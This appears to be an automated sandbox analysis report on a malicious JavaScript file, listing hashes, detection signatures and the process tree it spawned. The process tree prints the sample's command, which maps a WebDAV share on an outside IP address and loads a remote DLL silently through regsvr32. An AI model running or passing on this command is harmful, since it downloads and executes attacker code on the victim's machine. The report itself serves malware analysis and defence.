Analysis

  • max time kernel
    141s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-07-2024 18:27

General

  • Target

    9435290311140231872.js

  • Size

    5KB

  • MD5

    00a204afd9cb22936a127a20fc2bffc0

  • SHA1

    0b18e3e9a3a07c69c79aec6caecf7337f30a1a20

  • SHA256

    ad105b8acbec63288177d0e9121b6a63ce7dbcb9d78d6f1ee45db918159b87d9

  • SHA512

    5407d7d0718aec5b7b55d5fc1cd1d31126dd89ead0eec0cfcfd28431b92e547bf6f23804692305b943f92b2fbe0d3b13ed8ea81256f3908a54895ef056b36a6b

  • SSDEEP

    96:4Fd14TP/89kSPUzPdVWPr2BYu4nnQyeOEHBw6pLMo+p22XXKqIWWMX52pvuuSAkS:4QMJvHXKqIWWMXAuuSAkJuuSX

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\9435290311140231872.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\296252800924318.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4660

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads